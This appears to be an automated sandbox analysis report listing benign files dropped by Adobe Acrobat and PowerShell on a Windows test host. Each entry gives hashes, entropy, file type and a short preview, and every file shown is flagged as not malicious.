Entropy (8bit):	5.317921630084903
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJfzdPeUkwRe9:YvXKXJGsdTeOgLsGb8Ukee9
MD5:	3269CF416357DD822A92D60D02E4BD7B
SHA1:	D8E36D58C89FC9F6366633204C2DAF73EC36621B
SHA-256:	AA5237123F0EEC0F6DA6388A5EA7C2DAB071FFFBDC9CE6F29DBA7E820A781EED
SHA-512:	C191BF906A0608310ECF90500842BA0CC53C5A21F9CA884F8FC4FB440A4B9D4D6B065AF9C6444D7FEBC9AF7347C09880A06F9E4D80D3CCB5ACF201727CA42E40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29824161725841
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJfYdPeUkwRe9:YvXKXJGsdTeOgLsGg8Ukee9
MD5:	23E14D209AA3DD0473E96D48A6A7C278
SHA1:	E28957C758D05AEA3A336DBB51CE89C80966DC89
SHA-256:	3B05C2086B6607D1A2B960C530DBD100531DFDEC38208B7C496B450F75A30FEA
SHA-512:	D97CAAA188154E6AA771D9D9D1C2935128269EDFF3142D75DE9A5D1E3260BC6CDD81BEC800EBE7D8499193B4C811228B5D5A1F7B5EE8F9B79A15A4819CF4BFD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.284560023566291
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJf+dPeUkwRe9:YvXKXJGsdTeOgLsG28Ukee9
MD5:	12D2318D04D99E2F2880190CB9B6FF34
SHA1:	367226F855C6C1890E44CE339B8F6E1E348A88F4
SHA-256:	2F74A88070A69CDA426885685C5DE1057BE381C8D810BEDF526323739DEA894C
SHA-512:	D6EB870B6E07A64884B04919E10218581549D285957D832E31916414A107E3D4914A682C3FD4C0E0A1014E8060424363235A82DC7C222E27342F54B34AB2A21C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.281800800037027
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJfbPtdPeUkwRe9:YvXKXJGsdTeOgLsGDV8Ukee9
MD5:	C9AE20850E4E6161E2596F24498168CA
SHA1:	B0C81FA49EE3984395BC000C0772EF24DFBA890E
SHA-256:	D7077A96B6E04FFA4D47CB4E66B26B5538F691E7CAF963AF96727167591EA7B0
SHA-512:	C68392FF1F4BD7F8BFE5B954CA1AB93C89B855C43C67CA4942FC63DF1A8BAE81E55EB42FF395E37AA8DC80FE408513D323CFA1F139F4BD8709B03D5CD8E4EEBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286113533419138
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJf21rPeUkwRe9:YvXKXJGsdTeOgLsG+16Ukee9
MD5:	A1E184AA7DBEAEB271AA29A0F4ABC01E
SHA1:	A357F7915D4C496BE7DFBFF7D5FFAEA260A96345
SHA-256:	D8C02A9A927A52C4C5821C2FDFE61D90B9C1590A87762704A4A61F53E3BBE61C
SHA-512:	244EC09A96644F24FEDFCBA6F112548536D99DC2C26EE0CD5E2272D0419942AB0C1C2826739C8674C9EDDB181CD1E8FA664DE7C83471CEF635EEE7C95BD76CAC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.659109523447002
Encrypted:	false
SSDEEP:	24:Yv6XYmeOgL5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSG:Yv+eXJBgkDMUJUAh8cvMG
MD5:	8CBB8D8C6E70687EE13E3C87940905E9
SHA1:	942B7683C765B12CD305370EFC848188EE9BD190
SHA-256:	D2A4D1293FFFD927E59390342990B5B6CC7D30455C07F520096AC4170DDB6B93
SHA-512:	7C426EDF4E3B2103D2691CAA2F88C667CBC23FE9159DCF3527EC6CB7521EE8C540903BC2B555EB664BD0FA5A4FBD329EB15E66A61E8A1611D36F277D0BAA9F42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.264353355800175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJfshHHrPeUkwRe9:YvXKXJGsdTeOgLsGUUUkee9
MD5:	DF5F8210055720FB5789131E26A48A87
SHA1:	747701ACD97D7B2ED32BD5038A655B684BBE8842
SHA-256:	2D5AEFC00C410343DAE6EEA0244B6D4EAC718A6D995CFE1944EC898E9E7A9A02
SHA-512:	F745A05684BA663AC605B5FB2D98A8BA08BD29B2A5AAE9CCCDCB406DECBC01AB9D39EEA7A34195C70106916C6C18E5F1169FAAB46127B9BBBBC19E0BAD4A6116
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.282480899167373
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDlYi2n4WsGiIPEeOF0YxOSWDoAvJTqgFCrPeUkwRe9:YvXKXJGsdTeOgLsGTq16Ukee9
MD5:	6D428F81ABB408BF007999BC65B798DE
SHA1:	A4A285BDB3B9F23C9D53D630B36244B125B1BC2A
SHA-256:	7A3FBE14766BEB6144CFA02B10F794A7337E1112666300090031B770DDD3BAB9
SHA-512:	5CE8D7D122C5EC6523C80593E5396A2EAD18F8B1105B7D44F1D8A82A167C98F06552910D2223A90D44213F12F63458D2B10F9EE09761CE44CF972C87EEEEFCD1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b52cc84-1ff2-4b85-b333-e3ceba855309","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736736393621,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.120851537585503
Encrypted:	false
SSDEEP:	24:YiB1HnatbmtpBayyE+TwqqFc7mZjFH0z37HXYnHSecjf4uj0SwSmR7/2pj2LSwMA:Yi4bWnFe8+YHQ9mZw3VY6U4Kfunrx9a
MD5:	DCDABAEBC87B6EE0615293D2F745BCDA
SHA1:	E6725EAF083D3F8032E610FE9CFB34ACD4CC5F74
SHA-256:	1E6420AA9E31D56C21D88C1AB33F21FAC080F0853856F2E464289033F1CAFBBD
SHA-512:	3631BA7195B5FDAD18BE1F36EC17D85E318DF726973D8B158285FF623BAAD842A2E45DEA160C4B518D2155CE473F5829361F7229CAFEB76115A6676853DD6F32
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3a91f082c7d528965b5dc672b54e7f52","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736565300000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"50d56e83a944582e7447e0a34d81540b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736565300000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e1e493a8df2a04fef02ba87e4b47d373","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736565300000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"39a6f777b3968f087e80b8948b627dbf","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736565300000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f34ad919a82a8d2248d027185f290edf","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736565300000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"2d4405a7fa76c4d1081ce746b55261f1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4544302902908446
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsClq:lNVmsw3SHtbDbPe0K3+fDZdw
MD5:	4D5643D666B73BCA0BCB7709C734D240
SHA1:	C5676966C4C6B1A8EEE39B79B6A628786A8D176C
SHA-256:	F9831B9BD0ABAC53C1FF5C07DDDECFAEC687313D688D8AF796FCAFC4A53F6584
SHA-512:	ECE61F91C4D60DF8CCAF6C6130FAF82AC296958A0E0642CF59793CF15A6F176B3B5EDEDDFC13D2CEA68717A83C2944806A37222C256561EC18796E9821158D2A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.95813288079214
Encrypted:	false
SSDEEP:	48:7M2rvrBd6dHtbGIbPe0K3+fDy2dsrRqFl2GL7msw:7/3SHtbDbPe0K3+fDZd4KVmsw
MD5:	C46A04235DE83593676CC8D8D0DB68F4
SHA1:	5E1C96961C84AAE259C828EC128D307BC2FBB04B
SHA-256:	ABFBA998A46C2C1BA9204F0CA2AD8FC31FDD292AAC7503EA4EE67071797FDABA
SHA-512:	67FA708C50F2FD4A4431A98E2825F6622BD35E9D4A3A33CF7D438FE0EC179DBD07ACEFC86E3E6F43BBA9C8FE4A6C563244D1B323C08C1E62C90F82669DE38656
Malicious:	false
Preview:	.... .c........u......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgvs1RV1c8SGfmtuJiFQkhRjxYqcWfYyu:6a6TZ44ADEvsx1ccJiywjGSfK
MD5:	E8D31B3DDAB2DC22B8AACB4F1D43403D
SHA1:	7392DA0C8224423BBB10257553B76282A53406A5
SHA-256:	8DA1FF74BAB22B2C6244CD7B0D61854FDB4432787A659A9145C36BAB28C93935
SHA-512:	72BDEAABAB7B1CF3EEFEC3B8852072F9D74C8E216A54D2AC2516C8883F51E49212C18B2B3388A08EC538B90F692CF36911757C960B4937F4A38175733ECAFC7F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSIfa89.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClXfnH:Qw946cPbiOxDlbYnuRK+bg/
MD5:	7831986C6218624A29D94C16F8A8D16E
SHA1:	4D712389C34875FBD8B3D0E86D42F738FC914C0D
SHA-256:	418431408A13731473FC36ABF40A8C866EA39C7493D00C66C1B7E758C8B2758D
SHA-512:	0A05902F17031D3D618FC3FB7EBDB984A173A2B37D85A4F99E92BCF69C99D45C048F2FCE4B3509A95B9771F76AA115E42B33C0FB7B17AB1C2769F97BFAAFD138
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.3.1.:.3.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3hrrv1jr.uoa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ig4nvmcl.mry.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ccq4wv_13pmwj5_5yc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-31-23-959.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363825754868547
Encrypted:	false
SSDEEP:	384:7KD16tDIBBhkax3dfoqe3DFDF4Ufa9UwfrQzYlDxVDLeVhC+wrh3eslninWLHJkN:gFS
MD5:	594A7B49A1C27B5F965DF72FFF3BCB41
SHA1:	1AA1914340F5A0CB42C4099E262543C3C3D2417A
SHA-256:	7853B673051360E5F23E4B9946A5DD70A29308289FE506F6E95AE6B2414137B7
SHA-512:	7F483E04F199DFE39EBA3C441E48A3B5D4956EA3F4BD0A8C2B73F8AC96434DF211C1128768BEC533C9EDC8E29D0C02B662149EE17FF94C274FD42F07ABBEADC1
Malicious:	false
Preview:	SessionID=3437df1c-23bc-4dc6-8ddc-e75c2801ef68.1736559083972 Timestamp=2025-01-10T20:31:23:972-0500 ThreadID=7296 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3437df1c-23bc-4dc6-8ddc-e75c2801ef68.1736559083972 Timestamp=2025-01-10T20:31:23:974-0500 ThreadID=7296 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3437df1c-23bc-4dc6-8ddc-e75c2801ef68.1736559083972 Timestamp=2025-01-10T20:31:23:974-0500 ThreadID=7296 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3437df1c-23bc-4dc6-8ddc-e75c2801ef68.1736559083972 Timestamp=2025-01-10T20:31:23:974-0500 ThreadID=7296 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3437df1c-23bc-4dc6-8ddc-e75c2801ef68.1736559083972 Timestamp=2025-01-10T20:31:23:974-0500 ThreadID=7296 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.409692942475524
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR8TVz:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR8
MD5:	041F02A08A7CBF1F3DC9D74847BDBC09
SHA1:	B24B48EC9D356CD87D30BE68496FCEF420E575BE
SHA-256:	AA0FABDB3313CB9B32DF6C68FF1F10D8C4085B0753ADF88CF72195BCBE3146C1
SHA-512:	0BCAB1391F19E9E97FC1B05D289C23DBA874CF699E4A1CFA04020AA25250256E02062D1901298E63167457353738358F06A617E7C66124F66FA078205E4A278B
Malicious:	false
